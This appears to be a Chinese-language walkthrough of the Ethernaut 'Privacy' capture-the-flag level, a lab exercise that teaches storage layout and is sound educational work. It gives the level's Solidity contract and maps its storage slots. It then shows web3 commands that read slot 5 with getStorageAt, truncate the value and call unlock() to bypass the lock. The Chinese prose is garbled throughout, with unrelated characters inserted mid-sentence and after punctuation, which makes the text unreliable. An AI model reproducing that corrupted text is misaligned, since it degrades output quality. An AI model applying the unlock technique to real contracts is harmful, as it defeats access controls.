題目要求:
The creator of this contract was careful enough to protect the sensitive areas of its storage.
Unlock this contract to beat the level.
Things that might help:
Understanding how storage works
Understanding how parameter parsing works
Understanding how casting works
Tips:
Remember that metamask is just a commodity. Use another tool if it is presenting problems. Advanced gameplay could involve using remix, or your own web3 provider.
項(xiàng)目源碼:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Privacy {
bool public locked = true;
uint256 public ID = block.timestamp;
uint8 private flattening = 10;
uint8 private denomination = 255;
uint16 private awkwardness = uint16(block.timestamp);
bytes32[3] private data;
constructor(bytes32[3] memory _data) {
data = _data;
}
function unlock(bytes16 _key) public {
require(_key == bytes16(data[2]));
locked = false;
}
/*
A bunch of super advanced solidity algorithms...
,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`
.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,
*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^ ,---/V\
`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*. ~|__(o.o)
^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*' UU UU
*/
}
題目解析:
跟vault
一樣骄酗,權(quán)限privacy
但是數(shù)據(jù)并不是privacy
的搁凸。
拿到data[2]
就行轴捎。
引用陵野
里面提到的知識(shí)點(diǎn):
1. 區(qū)塊中的數(shù)據(jù)沒有隱私性
2. 以太坊數(shù)據(jù)存儲(chǔ)寫入的兩種方式
1. strings和bytes都是大端存儲(chǔ)憋他,從左邊開始存儲(chǔ)數(shù)據(jù)进陡。
2. 其他類型數(shù)據(jù)屬于小端释牺,從右邊開始存儲(chǔ)數(shù)據(jù)萝衩。
3. 以太坊數(shù)據(jù)存儲(chǔ)位置可計(jì)算
4. 強(qiáng)制類型轉(zhuǎn)換
可知,此合約的數(shù)據(jù)排布是:
unused(31)+locked(1) <--slot0
ID(32)<--slot1
unused(28)+awkwardness(2)+demonination(1)+flattening(1)<--slot2
data[0]<--slot3
data[1]<--slot4
data[2]<--slot5
從這里可以知道没咙,每個(gè)數(shù)據(jù)欄32字節(jié)猩谊,uint16
兩字節(jié),uint8
一字節(jié)祭刚,并且同數(shù)據(jù)欄內(nèi)從右到左分布牌捷。
所以這里要拿第5組數(shù)據(jù)。
因?yàn)樯厦娴?code>instance address是0x5455850136aBC9F62fA14C6843b8897F1b242B05
涡驮,所以下面的代碼執(zhí)行是:
web3.eth.getStorageAt("0x5455850136aBC9F62fA14C6843b8897F1b242B05",5)
得出答案:0xfc96579069282ff7a609042377af7c975da340de5c317cd3af4d2a08207cf54b
然后執(zhí)行操作(取前32位):
'0xfc96579069282ff7a609042377af7c975da340de5c317cd3af4d2a08207cf54b'.slice(0,34)
得出答案:0xfc96579069282ff7a609042377af7c97
再操作:
await contract.unlock('0xfc96579069282ff7a609042377af7c97')
確定await contract.locked()
值為false
后暗甥,再submit
,成功捉捅!
作者后話:
Nothing in the ethereum blockchain is private. The keyword private is merely an artificial construct of the Solidity language. Web3's `getStorageAt(...)` can be used to read anything from storage. It can be tricky to read what you want though, since several optimization rules and techniques are used to compact the storage as much as possible.
It can't get much more complicated than what was exposed in this level. For more, check out this excellent article by "Darius": [How to read Ethereum contract storage](https://medium.com/aigang-network/how-to-read-ethereum-contract-storage-44252c8af925)